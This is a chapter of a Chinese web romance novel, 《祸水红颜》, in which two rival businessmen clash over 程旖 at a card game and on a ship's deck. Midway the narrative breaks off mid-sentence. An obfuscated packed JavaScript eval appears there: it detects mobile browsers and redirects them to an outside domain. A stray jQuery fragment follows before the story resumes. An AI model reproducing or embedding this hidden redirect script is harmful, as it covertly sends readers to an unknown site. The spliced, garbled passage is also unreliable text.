20. 第 20 章

作品:《祸水红颜

    楚远洲轻笑了一声,语气温和:“没事,我教你,再说,输了也不打紧。”


    “对呀,有远洲哥撑腰,怕什么呢。”


    “这游戏简单,有楚总这样的高手在,肯定一学就会!”


    众人纷纷附和,只有傅淮之静静地看着程旖,那双深邃的眼眸让人捉摸不透。他向来是不轻易表露情绪的,圈子里都知道他不好相处。唯一让他失控的,往往是因为程旖。


    程旖盛情难却,只得硬着头皮坐下来,与楚远洲的距离瞬间拉近。摸牌时,楚远洲稍微一倾身,程旖几乎半靠在他的怀里。牌到手,却让她一头雾水。


    “这样玩没意思。”傅淮之终于说出今晚的第一句完整的话:“不如加个赌注。”


    四目相对,楚远洲毫不畏惧。


    “好啊。”


    “既然程小姐都以身入局,那我就要她,做赌注。”傅淮之意味深长看向程旖身上,


    此言一出,全场静默。程旖心中一凛,这人到底想干什么?用她做赌注?她可不是物品。更何况,众所周知她是楚远洲的人,傅淮之的举动,简直是赤裸裸的挑衅。


    程旖的笑容有些挂不住,顾不得楚远洲的反应,佯怒道:“傅总这是什么意思?”


    傅淮之淡淡抬眼:“字面意思。”


    气氛瞬间凝滞,傅淮之一向冷漠寡言,如今当众给人难堪,实属罕见。楚远洲面不改色,凝视着傅淮之:“傅小少,出了地界,倒是做回了自己。”


    他轻轻抚过程旖的脸颊,夹杂着安抚与亲昵。转向傅淮之时,语气骤变:“只是对我的人,还是要客气点。”


    以往的会面总能维持表面的风度,而此刻,剑拔弩张的气氛在场内蔓延,傅淮之似乎连伪装都懒得伪装了。


    “八字还没一撇的事,怎么就成了楚总的人?”傅淮之的目光紧盯楚远洲的手。


    两人争锋相对,今晚显然是不打不休。眼看楚远洲欲开口说些什么,程旖截断道:“远洲,傅总若要找不痛快,我们奉陪便是。”


    她与楚远洲统一战线,将傅淮之视为强敌。不得不说,程旖似乎知道如何刺中傅淮之的痛处。


    “呵。”傅淮之冷笑,带着几分自嘲与讽刺。


    牌局继续,刚刚剑拔弩张的气氛,不多会儿就又热闹起来。


    这一局由傅淮之坐庄,而其余两人对他都有些忌惮,真正敢与他对弈的,只有程旖。


    然而,傅淮之总是能压制她的出牌,令她难以翻身。


    “对10。”程旖干脆利落地丢出牌去,此时她手中仅剩下两张牌了。


    要是傅淮之接不上来,那这一局她可就赢定了。


    傅淮缓缓抬起头,四目相交,眼神里复杂的情绪,一时让程旖有些失神。


    她的心禁不住微微颤抖起来,稍作缓解,她反倒奇异地平静下来。


    周围众人也仿佛被这紧张的气氛感染,都屏息静气地看着。


    “对2。”傅淮之手中还剩三张牌,这一出牌,就出了两张,程旖出的牌简直像是送到他手里一般。


    几乎是毫无悬念的,程旖输了。


    程旖有些赌气地把牌扔到桌上,心里忍不住腹诽,不知道今天晚上傅淮之又是哪根筋不对,反正只要一碰上他,准没什么好事发生。


    “我和傅总之间有点误会,要不随我来,单独解决一下?”程旖站起身来,她这么做,也是想双方各退一步,给彼此一个台阶下。


    楚远洲伸手握住了她那雪白纤细的手腕,程旖轻轻摇了摇头,示意没事。


    傅淮之不知何时又点燃了一根烟,也跟着站了起来:“好啊。”


    两人就在众人诧异的目光中渐渐走远,楚远洲脸上神色看似平静如常,可要是仔细瞧的话,便能发现他垂在身侧的手紧紧地握成了拳头。


    夜晚的海风呼呼地吹着,程旖和傅淮之在甲板上相对而立。


    刚刚在里面的时候,程旖心里窝着一团火,面对傅淮之当众的为难,让她下不来台,可是现在单独和他在一起,却又一时不知道该说些什么了。


    “傅淮之,就算是闹,也总该有个限度吧,闹得人尽皆知,这就是你想要的结果吗?”程旖的声调微微提高了几分,但很快又被咸苦的海风吹散得没了踪影。


    傅淮之手指紧紧握住栏杆,身体微微倾斜,目光中带着一种让人捉摸不透的固执。


    “程旖,你难道还不明白吗?我想要的,自始至终只有你啊。”


    傅淮之的这句话,瞬间将程旖的思绪拉回到高中那个漆黑的傍晚。


    〈因为我想见你。〉


    那是少年傅淮之第一次向她表达爱意,那般的热烈而又真诚。


    “我上次就已经说过了,你放弃吧。”程旖转过身子背对着他,不想再去看他的表情。


    好像再多看一眼,自己就会狠不下心来似的。


    身后安静了一会儿,程旖忍不住微微偏头去看,却不想被傅淮之一把拉过手臂,用力一扯,就将她紧紧禁锢在了怀里。


    程旖刚要挣扎,傅淮之却靠在了她的肩上,此时他的声线不再像刚才那般冷硬。


    “元元,你开始讨厌我了吗?”


    傅淮之抵住她试图挣扎的双手,眼神如同弥漫着一片茫然的大雾:“为什么不能像当初一样呢?我明明没做错什么,这对我不公平啊。”


    那一瞬间,程旖好似浑身的力气被瞬间抽空,挣扎的动作也随之停止。


    他这话听起来,竟带着一丝怜悯的意味。


    是她不告而别,也是她先说出的不爱,从头到尾,被抛弃的仿佛都是他。


    男人宽阔的怀抱带着些许暖意,可程旖的意识却无比清醒,她不愿让自己就此沉沦。


    “咳。”一声轻咳打破了她的思绪。


    楚远洲不知在远处看了多久了。


    程旖表情微微一变,像是在隐藏着什么,触电般急忙推开傅淮之。


    傅淮之却浑不在意,嘴角微微勾起一抹笑,微微斜睨着眼,轻抬下巴,看着楚远洲缓缓走来。


    程旖这才明白他的恶劣,傅淮之这个姿势,肯定早就知道楚远洲什么时候过来的。


    “小旖,外面风大,你先进去。”楚远洲走过来,说道。这显然是要和傅淮之单独谈谈的意思。


    程旖脸上还带着余热,不想面对这令人窒息的场景,点了点头,刚抬腿要走,傅淮之却先开了口。


    “有什么话是她不能听的?”他冷冷地说道。


    “楚总,她跟你说过吗?”傅淮之把话挑明了说。


    程旖的脚步停住,又折返回来,瞪了傅淮之一眼:“你别乱讲!”


    “你怕他误会?”傅淮之的笑容比黑夜中深不见底的海水还要冰冷。


    傅淮之突然想起在船舱上听到的那声“楚太太”,如果程旖真的和楚远洲结婚了……他只能强忍着双手的颤抖,故作镇定。


    光是想想那种情形,傅淮之就感觉全身血液倒流,什么忍耐,什么体面,他都顾不得了。


    楚远洲审视着傅淮之,然后笑了:“说过,小旖说你是她记不清的第几任前男友。”


    程旖表情古怪了一下,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984864|160720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想起自己和傅淮之重逢的时候,确实说过这话,但是现在突然被当事人听到,她简直想找个地缝钻进去。


    “你还把我算成前男友了?”傅淮之看向程旖,嗤笑道,他们甚至都未曾确定过关系。


    只是他关注的重点好像有些不太对。


    夜空之下,楚远洲和傅淮之的目光都充满不善。


    在商场上,楚远洲是当之无愧的前辈,但在感情方面一切平等,此刻,他们只是两个男人。


    抛开那些外在的君子风度,楚远洲连日来压抑的火气此时也爆发出来。


    “傅淮之,觊觎我的人,就得承受相应的后果,你以为你是谁?”


    楚远洲不清楚他们之间的过往,只是他知道,不管怎样,傅淮之对程旖来说,总归是特别的。


    所以,他要从根源杜绝一切可能性。


    这种失控的感觉,无时无刻不让他无比焦躁。


    “你太幼稚了,以为让她难堪她就会喜欢你?真没想到大名鼎鼎的傅少爷如此自大,也难怪会使手段了。”


    他说的是刚刚傅淮之当着自己的面抱程旖的事情。


    楚远洲毕竟年长傅淮之不少,看问题的角度自然有所不同。


    傅淮之好整以暇地扯了扯领带,带着几分玩味,“楚总,听闻你的前妻即将回国了,还有你们的孩子。你还是先把这摊子麻烦事解决干净了,再来跟我谈论到底谁是你的人吧。”


    话一出,仿若一颗石子投入平静的湖面,楚远洲的脸色突变,咬紧了牙,显然是被激怒了。一把勒住傅淮之的领口以示警告。


    然而,傅淮敏捷的一躲,避开了这凌厉的一抓。两人皆绷紧了脸,浑身散发着浓浓的火药味,那架势好似紧绷在弦上的箭,只需再稍稍用力,就会毫不犹豫地朝对方挥出一拳。


    程旖看着气氛变得剑拔弩张,连忙拉开他们。


    “你们疯了吧!”她低声道。


    这要是真在这儿闹出点什么事来,都不用等到下船,明天的财经新闻肯定会大肆报道的。


    程旖伸出手,做了个打住的手势,那张妩媚动人的脸上满是头疼的神色,就像一朵被风雨吹打的娇花,透着几分无奈。


    傅淮之皱了皱眉头,伸手扯了扯有些凌乱的衣服,努力让自己恢复了些许理智。他眼神凌厉地扫过楚远洲,像冰冷的刀刃,透着寒意。


    此时,三人之间的空气仿佛凝固了,安静得连一根针掉落在地上的声音都能清晰可闻,只能听到海水一下又一下地拍打着船底,浪花翻腾哗哗作响,。


    当他们再进去的时候,牌局已经散了,只剩下零零星星几个侍应生在收拾残局。程旖等傅淮之先走,才和楚远洲一起朝着楼上走去。


    他们原本拿到的房卡是同一间,但是程旖还是去重新开了一张,就在楚远洲的隔壁。


    “别跟傅淮之置气了。”在沿着楼梯往上走的时候,程旖忍不住开口说道。


    楚远洲像是听到了一件无关紧要的事情一般,神色淡然,并没有直接回答她这句话,而是话锋一转,“小旖,他对你应该还是余情未了吧?”


    “余情未了……”程旖听到这话,不禁微微怔愣了一下。要是放在以前,她是无论如何都不会相信的,可是傅淮之今天的态度,实在是让人捉摸不透,似乎只有这个原因才能够解释得通他今天的所作所为。


    她没有说话,这种沉默,在楚远洲看来,无疑是一种默认。


    “那你呢,你还喜欢他吗?”两人站定在各自的房门前,楚远洲微微抬起头,目光平静地看向她,轻声问道。